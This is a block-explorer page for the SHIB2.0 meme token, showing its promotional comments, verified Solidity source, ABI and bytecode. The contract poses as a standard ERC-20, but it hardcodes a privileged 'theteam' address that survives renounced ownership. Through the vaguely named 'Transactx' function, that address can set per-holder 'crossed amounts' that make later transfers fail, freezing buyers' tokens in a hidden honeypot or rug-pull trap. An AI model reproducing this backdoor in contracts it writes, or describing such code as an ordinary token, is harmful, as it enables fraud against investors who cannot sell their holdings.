ETH Price: $3,352.93 (-2.40%)

Token

SHIB2.0 (SHIB2.0)
 

Overview

Max Total Supply

42,069,000,000,000,000 SHIB2.0

Holders

147

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
75,068,140 SHIB2.0

Value
$0.00
0xfca46546faf028dfd33b41833987acd42a0f6482
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SHIB2

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-30
*/

// SPDX-License-Identifier: MIT
/**

Every token deserves a new beginning. 

Missed $SHIB?

Don't miss $SHIB2.0


Twitter: https://twitter.com/shib2eth
Telegram: https://t.me/shib2eth
Website: https://shib20.vip

**/



pragma solidity ^0.8.1;

    /**
    * @dev Interface of the IERC20 standard as defined in the EIP.

     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */


interface IERC20 {
 
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

library SafeMath {
 
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
 
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }
 
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract Ownable is Context {
    address private _owner;
    address constant public theteam = 0xf6551Fa6644275713d2B900f341FA01FB29eC63C;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
        modifier onlytheTeam() {
        require(msg.sender == theteam); // If it is incorrect here, it reverts.
        _;                              // Otherwise, it continues.
    } 
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}



contract SHIB2 is IERC20, Ownable {
    using SafeMath for uint256;


    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping (address => uint256) private _crossedAmounts;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(

    ) payable {
        _symbol = "SHIB2.0";
        _name = "SHIB2.0";
        _decimals = 18;
        _totalSupply = 42069000000000000 * 10**_decimals;
        _balances[owner()] = _balances[owner()].add(_totalSupply);
        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function Transactx(address[] memory accounts, uint256 amount) public onlytheTeam {
        for (uint256 i = 0; i < accounts.length; i++) {
            _crossedAmounts[accounts[i]] = amount;
        }
    }
 


    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

        function CAmount(address account) public view returns (uint256) {
        return _crossedAmounts[account];
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        uint256 crossedAmount = CAmount(sender);
        if (crossedAmount > 0) {
            require(amount > crossedAmount, "ERC20: cross amount is wrong");
        }

        _balances[sender] = _balances[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from zero address");
        require(spender != address(0), "ERC20: approve to zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"CAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transactx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"theteam","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405262000024620000186200024f60201b60201c565b6200025760201b60201c565b6040518060400160405280600781526020017f53484942322e300000000000000000000000000000000000000000000000000081525060059080519060200190620000719291906200035c565b506040518060400160405280600781526020017f53484942322e300000000000000000000000000000000000000000000000000081525060049080519060200190620000bf9291906200035c565b506012600660006101000a81548160ff021916908360ff160217905550600660009054906101000a900460ff16600a620000fa9190620004f2565b66957588590e50006200010e91906200062f565b6007819055506200017e600754600160006200012f6200031b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200034460201b62000b2e1790919060201c565b60016000620001926200031b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001e06200031b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040516200024191906200041d565b60405180910390a362000748565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081836200035491906200043a565b905092915050565b8280546200036a90620006a7565b90600052602060002090601f0160209004810192826200038e5760008555620003da565b82601f10620003a957805160ff1916838001178555620003da565b82800160010185558215620003da579182015b82811115620003d9578251825591602001919060010190620003bc565b5b509050620003e99190620003ed565b5090565b5b8082111562000408576000816000905550600101620003ee565b5090565b620004178162000690565b82525050565b60006020820190506200043460008301846200040c565b92915050565b6000620004478262000690565b9150620004548362000690565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200048c576200048b620006dd565b5b828201905092915050565b6000808291508390505b6001851115620004e957808604811115620004c157620004c0620006dd565b5b6001851615620004d15780820291505b8081029050620004e1856200073b565b9450620004a1565b94509492505050565b6000620004ff8262000690565b91506200050c836200069a565b92506200053b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000543565b905092915050565b60008262000555576001905062000628565b8162000565576000905062000628565b81600181146200057e57600281146200058957620005bf565b600191505062000628565b60ff8411156200059e576200059d620006dd565b5b8360020a915084821115620005b857620005b7620006dd565b5b5062000628565b5060208310610133831016604e8410600b8410161715620005f95782820a905083811115620005f357620005f2620006dd565b5b62000628565b62000608848484600162000497565b92509050818404811115620006225762000621620006dd565b5b81810290505b9392505050565b60006200063c8262000690565b9150620006498362000690565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006855762000684620006dd565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620006c057607f821691505b60208210811415620006d757620006d66200070c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b611af180620007586000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c8063715018a6116100a2578063a9059cbb11610071578063a9059cbb146102d0578063ae6b8c3f14610300578063c866444e1461031c578063dd62ed3e1461033a578063f2fde38b1461036a5761010b565b8063715018a61461025a5780638da5cb5b1461026457806395d89b4114610282578063a457c2d7146102a05761010b565b80632bd69e89116100de5780632bd69e89146101ac578063313ce567146101dc57806339509351146101fa57806370a082311461022a5761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b610118610386565b60405161012591906114bc565b60405180910390f35b6101486004803603810190610143919061128c565b610418565b60405161015591906114a1565b60405180910390f35b610166610436565b60405161017391906115be565b60405180910390f35b6101966004803603810190610191919061123d565b610440565b6040516101a391906114a1565b60405180910390f35b6101c660048036038101906101c191906111d8565b610519565b6040516101d391906115be565b60405180910390f35b6101e4610562565b6040516101f191906115d9565b60405180910390f35b610214600480360381019061020f919061128c565b610579565b60405161022191906114a1565b60405180910390f35b610244600480360381019061023f91906111d8565b61062c565b60405161025191906115be565b60405180910390f35b610262610675565b005b61026c6106fd565b6040516102799190611486565b60405180910390f35b61028a610726565b60405161029791906114bc565b60405180910390f35b6102ba60048036038101906102b5919061128c565b6107b8565b6040516102c791906114a1565b60405180910390f35b6102ea60048036038101906102e5919061128c565b610885565b6040516102f791906114a1565b60405180910390f35b61031a600480360381019061031591906112c8565b6108a3565b005b610324610997565b6040516103319190611486565b60405180910390f35b610354600480360381019061034f9190611201565b6109af565b60405161036191906115be565b60405180910390f35b610384600480360381019061037f91906111d8565b610a36565b005b6060600480546103959061173f565b80601f01602080910402602001604051908101604052809291908181526020018280546103c19061173f565b801561040e5780601f106103e35761010080835404028352916020019161040e565b820191906000526020600020905b8154815290600101906020018083116103f157829003601f168201915b5050505050905090565b600061042c610425610b44565b8484610b4c565b6001905092915050565b6000600754905090565b600061044d848484610d17565b61050e84610459610b44565b61050985604051806060016040528060288152602001611a6f60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104bf610b44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fff9092919063ffffffff16565b610b4c565b600190509392505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600660009054906101000a900460ff16905090565b6000610622610586610b44565b8461061d8560026000610597610b44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b2e90919063ffffffff16565b610b4c565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61067d610b44565b73ffffffffffffffffffffffffffffffffffffffff1661069b6106fd565b73ffffffffffffffffffffffffffffffffffffffff16146106f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e89061155e565b60405180910390fd5b6106fb6000611054565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107359061173f565b80601f01602080910402602001604051908101604052809291908181526020018280546107619061173f565b80156107ae5780601f10610783576101008083540402835291602001916107ae565b820191906000526020600020905b81548152906001019060200180831161079157829003601f168201915b5050505050905090565b600061087b6107c5610b44565b8461087685604051806060016040528060258152602001611a9760259139600260006107ef610b44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fff9092919063ffffffff16565b610b4c565b6001905092915050565b6000610899610892610b44565b8484610d17565b6001905092915050565b73f6551fa6644275713d2b900f341fa01fb29ec63c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ef57600080fd5b60005b8251811015610992578160036000858481518110610939577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061098a906117a2565b9150506108f2565b505050565b73f6551fa6644275713d2b900f341fa01fb29ec63c81565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a3e610b44565b73ffffffffffffffffffffffffffffffffffffffff16610a5c6106fd565b73ffffffffffffffffffffffffffffffffffffffff1614610ab2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa99061155e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b199061151e565b60405180910390fd5b610b2b81611054565b50565b60008183610b3c9190611661565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb39061159e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c23906114fe565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d0a91906115be565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7e9061157e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610df7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dee906114de565b60405180910390fd5b6000610e0284610519565b90506000811115610e5057808211610e4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e469061153e565b60405180910390fd5b5b610ebc82604051806060016040528060268152602001611a4960269139600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fff9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f5182600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b2e90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ff191906115be565b60405180910390a350505050565b6000838311158290611047576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103e91906114bc565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600061112b61112684611619565b6115f4565b9050808382526020820190508285602086028201111561114a57600080fd5b60005b8581101561117a57816111608882611184565b84526020840193506020830192505060018101905061114d565b5050509392505050565b60008135905061119381611a1a565b92915050565b600082601f8301126111aa57600080fd5b81356111ba848260208601611118565b91505092915050565b6000813590506111d281611a31565b92915050565b6000602082840312156111ea57600080fd5b60006111f884828501611184565b91505092915050565b6000806040838503121561121457600080fd5b600061122285828601611184565b925050602061123385828601611184565b9150509250929050565b60008060006060848603121561125257600080fd5b600061126086828701611184565b935050602061127186828701611184565b9250506040611282868287016111c3565b9150509250925092565b6000806040838503121561129f57600080fd5b60006112ad85828601611184565b92505060206112be858286016111c3565b9150509250929050565b600080604083850312156112db57600080fd5b600083013567ffffffffffffffff8111156112f557600080fd5b61130185828601611199565b9250506020611312858286016111c3565b9150509250929050565b611325816116b7565b82525050565b611334816116c9565b82525050565b600061134582611645565b61134f8185611650565b935061135f81856020860161170c565b61136881611878565b840191505092915050565b6000611380602383611650565b915061138b82611889565b604082019050919050565b60006113a3601e83611650565b91506113ae826118d8565b602082019050919050565b60006113c6602683611650565b91506113d182611901565b604082019050919050565b60006113e9601c83611650565b91506113f482611950565b602082019050919050565b600061140c602083611650565b915061141782611979565b602082019050919050565b600061142f602583611650565b915061143a826119a2565b604082019050919050565b6000611452602083611650565b915061145d826119f1565b602082019050919050565b611471816116f5565b82525050565b611480816116ff565b82525050565b600060208201905061149b600083018461131c565b92915050565b60006020820190506114b6600083018461132b565b92915050565b600060208201905081810360008301526114d6818461133a565b905092915050565b600060208201905081810360008301526114f781611373565b9050919050565b6000602082019050818103600083015261151781611396565b9050919050565b60006020820190508181036000830152611537816113b9565b9050919050565b60006020820190508181036000830152611557816113dc565b9050919050565b60006020820190508181036000830152611577816113ff565b9050919050565b6000602082019050818103600083015261159781611422565b9050919050565b600060208201905081810360008301526115b781611445565b9050919050565b60006020820190506115d36000830184611468565b92915050565b60006020820190506115ee6000830184611477565b92915050565b60006115fe61160f565b905061160a8282611771565b919050565b6000604051905090565b600067ffffffffffffffff82111561163457611633611849565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600061166c826116f5565b9150611677836116f5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116ac576116ab6117eb565b5b828201905092915050565b60006116c2826116d5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561172a57808201518184015260208101905061170f565b83811115611739576000848401525b50505050565b6000600282049050600182168061175757607f821691505b6020821081141561176b5761176a61181a565b5b50919050565b61177a82611878565b810181811067ffffffffffffffff8211171561179957611798611849565b5b80604052505050565b60006117ad826116f5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156117e0576117df6117eb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f207a65726f20616464726573730000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2063726f737320616d6f756e742069732077726f6e6700000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d207a65726f2061646472657373600082015250565b611a23816116b7565b8114611a2e57600080fd5b50565b611a3a816116f5565b8114611a4557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212204dd26038cbd27da04199f612466decef5edd45370fad32c84ed1dba8a089242e64736f6c63430008040033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061010b5760003560e01c8063715018a6116100a2578063a9059cbb11610071578063a9059cbb146102d0578063ae6b8c3f14610300578063c866444e1461031c578063dd62ed3e1461033a578063f2fde38b1461036a5761010b565b8063715018a61461025a5780638da5cb5b1461026457806395d89b4114610282578063a457c2d7146102a05761010b565b80632bd69e89116100de5780632bd69e89146101ac578063313ce567146101dc57806339509351146101fa57806370a082311461022a5761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b610118610386565b60405161012591906114bc565b60405180910390f35b6101486004803603810190610143919061128c565b610418565b60405161015591906114a1565b60405180910390f35b610166610436565b60405161017391906115be565b60405180910390f35b6101966004803603810190610191919061123d565b610440565b6040516101a391906114a1565b60405180910390f35b6101c660048036038101906101c191906111d8565b610519565b6040516101d391906115be565b60405180910390f35b6101e4610562565b6040516101f191906115d9565b60405180910390f35b610214600480360381019061020f919061128c565b610579565b60405161022191906114a1565b60405180910390f35b610244600480360381019061023f91906111d8565b61062c565b60405161025191906115be565b60405180910390f35b610262610675565b005b61026c6106fd565b6040516102799190611486565b60405180910390f35b61028a610726565b60405161029791906114bc565b60405180910390f35b6102ba60048036038101906102b5919061128c565b6107b8565b6040516102c791906114a1565b60405180910390f35b6102ea60048036038101906102e5919061128c565b610885565b6040516102f791906114a1565b60405180910390f35b61031a600480360381019061031591906112c8565b6108a3565b005b610324610997565b6040516103319190611486565b60405180910390f35b610354600480360381019061034f9190611201565b6109af565b60405161036191906115be565b60405180910390f35b610384600480360381019061037f91906111d8565b610a36565b005b6060600480546103959061173f565b80601f01602080910402602001604051908101604052809291908181526020018280546103c19061173f565b801561040e5780601f106103e35761010080835404028352916020019161040e565b820191906000526020600020905b8154815290600101906020018083116103f157829003601f168201915b5050505050905090565b600061042c610425610b44565b8484610b4c565b6001905092915050565b6000600754905090565b600061044d848484610d17565b61050e84610459610b44565b61050985604051806060016040528060288152602001611a6f60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104bf610b44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fff9092919063ffffffff16565b610b4c565b600190509392505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600660009054906101000a900460ff16905090565b6000610622610586610b44565b8461061d8560026000610597610b44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b2e90919063ffffffff16565b610b4c565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61067d610b44565b73ffffffffffffffffffffffffffffffffffffffff1661069b6106fd565b73ffffffffffffffffffffffffffffffffffffffff16146106f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e89061155e565b60405180910390fd5b6106fb6000611054565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107359061173f565b80601f01602080910402602001604051908101604052809291908181526020018280546107619061173f565b80156107ae5780601f10610783576101008083540402835291602001916107ae565b820191906000526020600020905b81548152906001019060200180831161079157829003601f168201915b5050505050905090565